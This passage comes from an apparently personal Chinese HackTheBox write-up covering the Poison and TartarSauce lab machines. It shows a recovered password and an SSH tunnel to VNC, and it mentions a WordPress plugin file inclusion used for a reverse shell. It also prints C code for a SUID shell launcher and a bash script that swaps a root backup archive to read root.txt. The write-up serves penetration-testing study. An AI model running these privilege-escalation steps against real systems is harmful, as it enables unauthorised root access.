src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没跑出来&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结果密码就是登录密码 Charix!2#4%6&amp;amp;8(0&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;啥也没有 我没看懂这是啥东西 但能确定的是 他是个二进制文件&lt;/p&gt;&#10;&lt;p&gt;传脚本开始收集一些有意思的点&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;计划任务：root运行 5分钟跑一次 /usr/libexec/atrun&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个配置文件里也啥都没有&lt;/p&gt;&#10;&lt;p&gt;实际上到这发现没有任何常规提权了 看看内核&lt;/p&gt;&#10;&lt;p&gt;内核也没啥漏洞&lt;/p&gt;&#10;&lt;p&gt;只能看wp了 全都看了卡住的这一步 发现都是通过vnc提权的 知道入口点之后 开始探索&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;确实是开了vnc 但是为什么要利用vnc呢？我的理解就是vnc有个什么账密可以找到 目前vnc架设于本地 得做端口转发&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;关了防火墙也不行 因为他是架设在127.0.0.1上的&lt;/p&gt;&#10;&lt;p&gt;因为ssh是通的 直接用ssh做转发&lt;/p&gt;&#10;&lt;p&gt;ssh隧道：&lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;，&lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8081:localhost:5901 &lt;a class="link" href="mailto:charix@10.10.10.84" &gt;charix@10.10.10.84&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;搭好隧道后引入之前解压的文件&lt;/p&gt;&#10;&lt;p&gt;vncviewer -passwd secret 127.0.0.1:5901&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个是vnc的密码文件&lt;/p&gt;&#10;&lt;p&gt;并且这玩意可以解密 &lt;a class="link" href="https://github.com/jeroennijhof/vncpwd" target="_blank" rel="noopener"&#10; &gt;https://github.com/jeroennijhof/vncpwd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;到此就结束了 后续的越来越难了 主要是学习下思路吧 端口转发不一定要用ssh 只是他很方便&lt;/p&gt;&#10;&lt;p&gt;最后回顾看wp其实还发现没注意到的点 phpinfo条件竞争&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="7tartarsauce"&gt;&lt;a href="#7tartarsauce" class="header-anchor"&gt;&lt;/a&gt;7.TartarSauce&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;只有一个80端口 就不贴图了&lt;/p&gt;&#10;&lt;p&gt;现在是补填所以有些配置可能有些奇怪&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个页面没有任何东西 后续通过robots和目录爆破发现了几个地方&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.88/webservices/monstra-3.0.4/admin/i" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/a&gt; 弱口令admin/admin&lt;/p&gt;&#10;&lt;p&gt;但是实际上他禁止了修改文件 无法上传任何文件 找到的exp都打不通 这里我浪费了很多时间 才发现是个Rabbit Hole&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我看了下 gobuster 还有个wp的目录&lt;/p&gt;&#10;&lt;p&gt;这个是wordpress 找到一个 wpadmin的用户 但是密码爆不出来&lt;/p&gt;&#10;&lt;p&gt;笔记写的很少 但是实际上这条路是通的 我才记录了下来 操作中遇到了很多误区 一直在找&lt;/p&gt;&#10;&lt;p&gt;最后wordpress这条路一直走不通 去看wp 我的wpscan根本扫不到漏洞利用点 包括nmap的脚本 也扫不出利用点 最后利用wpscan加线程 才能在20分钟扫完 速度太慢了 接下来继续&lt;/p&gt;&#10;&lt;p&gt;目前我是看到卡的地方实在是没办法了 看下一步wp 这里主要是 gwolle-gb 插件有一个远程文件包含的漏洞 可以拿到立足点 而翻了大部分人的这一步 都是wpscan加 &amp;ndash;plugins-detection aggressive 也就是全面扫描 才可以扫出来 我使用的时候需要3个小时 后面加了线程缩短到了20分钟&lt;/p&gt;&#10;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50&lt;/p&gt;&#10;&lt;p&gt;nmap&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;#收集插件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里也是出结果了 挨个看插件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了关键点了 完善了攻击链 接下来找exp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;拼接就行 挂个反弹shell的脚本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;根据他的描述和我自己遇到的情况 那个url它会在后面拼接一个 wp-load.php&lt;/p&gt;&#10;&lt;p&gt;构造文件名称即可&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权 先做信息收集&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;简单收集了一下 根据所得到的信息 基本上就是 sudo tar越权到 onuma了&lt;/p&gt;&#10;&lt;p&gt;试试看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;生成一个tty&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;在运行一次脚本 做一下信息收集&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;.nano的历史记录find了一下没有&lt;/p&gt;&#10;&lt;p&gt;根据mysql的history 尝试连接一下数据库 但是很可惜连不上去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是pspy帮我发现了一个有意思的东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;跟刚刚那个mysql的history里的东西一模一样&lt;/p&gt;&#10;&lt;p&gt;我去查了一下&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;很明显上面那些都是计划任务 但是权限不够 并没有给我显示出来&lt;/p&gt;&#10;&lt;p&gt;(结束翻wp发现locate可以看到多久运行一次 当然find也可以看到 但是当时没那个思路 至少方向是对的)&lt;/p&gt;&#10;&lt;p&gt;赋予的权限导致我没有搜索到他 看看内容是啥&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;全部读了一遍 所有的变量都写死了 无法进行替换&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;也就是他会以root的权限将这个备份文件移到 $tmpfile 这个变量目录里 我们需要伪造 $tmpfile的压缩文件&lt;/p&gt;&#10;&lt;p&gt;不存在条件竞争的问题 因为他延时了30秒&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;根据变量描述 它需要对比&lt;/p&gt;&#10;&lt;p&gt;/var/www/html&lt;/p&gt;&#10;&lt;p&gt;/var/tmp/var/www/html&lt;/p&gt;&#10;&lt;p&gt;也就是不同的情况下返回1他会报错 相同则会返回0&lt;/p&gt;&#10;&lt;p&gt;实际上我们需要操作的很简单&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;而tmp随意更改 写一个文件 替换tmp压缩好的文件 tmpfile变量为 /var/tmp&lt;/p&gt;&#10;&lt;p&gt;而下面有很多文件 pspy看进程 运行的时候直接开始替换即可&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;编写bash 如果没问题的话 赋予它权限执行将会反弹shell 写成su root应该也可以&lt;/p&gt;&#10;&lt;p&gt;打包成文件 根据basedir的目录结构 应该要有/var/www/html&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;打包成111&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;出现的时候直接替换掉 成功弹出 check&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;但是 1.sh的权限还是onuma？并且解压完变成了二进制文件 啥都不见了&lt;/p&gt;&#10;&lt;p&gt;这一步存在很大的问题 首先是里面被弄错了 变成了二进制文件乱码 还有就是权限不对&lt;/p&gt;&#10;&lt;p&gt;linux有个特性 我在kali上给他配好权限 再打包给靶机 靶机解压后 还是我在kali上的权限&lt;/p&gt;&#10;&lt;p&gt;于是我打包了个rwsr-sr-x的权限的bash文件 传了上去&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;权限在靶机上没问题 但还是执行失败 后续查了资料了解到&lt;/p&gt;&#10;&lt;p&gt;在 Unix/Linux 系统中，SUID（设置用户 ID）对于二进制可执行文件和脚本的行为可能不同。通常，许多现代 Linux 发行版对 SUID 脚本有额外的安全限制，以防止潜在的安全风险。这意味着即使设置了 SUID，脚本可能仍无法以预期的方式执行，从而导致它们以普通用户身份运行。&lt;/p&gt;&#10;&lt;p&gt;有的时候suid提权可以直接提 或者 sudo提 但现在明显不行&lt;/p&gt;&#10;&lt;p&gt;所以还是必须使用sudo去执行 也就是说二进制文件才可以不用sudo 而这种bash脚本依然需要sudo&lt;/p&gt;&#10;&lt;p&gt;这里必须传上去一个二进制文件了&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;目标机器是32位的&lt;/p&gt;&#10;&lt;p&gt;gcc 1.c -o 1 -m32&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;打包完传上目标机器&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;还是报错 有点扯&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;至此终于结束了 有意思的是我看到一个wp 他的思路很好&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# work out of shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /dev/shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# set both start and cur equal to any backup file if it&amp;#39;s there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# loop until there&amp;#39;s a change in cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for archive filename to change...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while [ &amp;#34;$start&amp;#34; == &amp;#34;$cur&amp;#34; -o &amp;#34;$cur&amp;#34; == &amp;#34;&amp;#34; ] ; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 10;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Grab a copy of the archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;File changed... copying here&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp $cur .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# get filename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fn=$(echo $cur | cut -d&amp;#39;/&amp;#39; -f4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# extract archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -zxf $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove robots.txt and replace it with link to root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ln -s /root/root.txt var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove old archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# create new archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar czf $fn var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# put it back, and clean up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv $fn 